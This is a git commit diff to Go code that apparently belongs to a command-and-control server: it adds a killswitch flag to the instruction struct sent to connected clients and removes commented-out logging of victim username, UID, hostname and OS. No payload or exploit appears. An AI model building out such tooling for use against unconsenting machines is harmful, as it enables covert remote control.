Configure killswitch struct

This commit is contained in:
raul 2024-06-07 09:59:04 +02:00
parent 6a21d5bd0b
commit cb0b3be8c5
1 changed files with 4 additions and 6 deletions

View File

@ -29,6 +29,7 @@ type ClientBasicInfo struct {
type Instructions struct {
IsHeartbeat bool
IsCommand bool
IsKillswitch bool
Message string
}
@ -81,9 +82,6 @@ func handleConn(conn net.Conn) {
if err != nil {
log.Printf("Error happened receiving OS information: %v\n", err)
}
// fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", clientList[ID].ClientBasicInfo.Username,
// clientList[ID].ClientBasicInfo.UID, clientList[ID].ClientBasicInfo.GID, clientList[ID].ClientBasicInfo.Hostname,
// clientList[ID].ClientBasicInfo.OperatingSystem)
go Heartbeat(ID)
}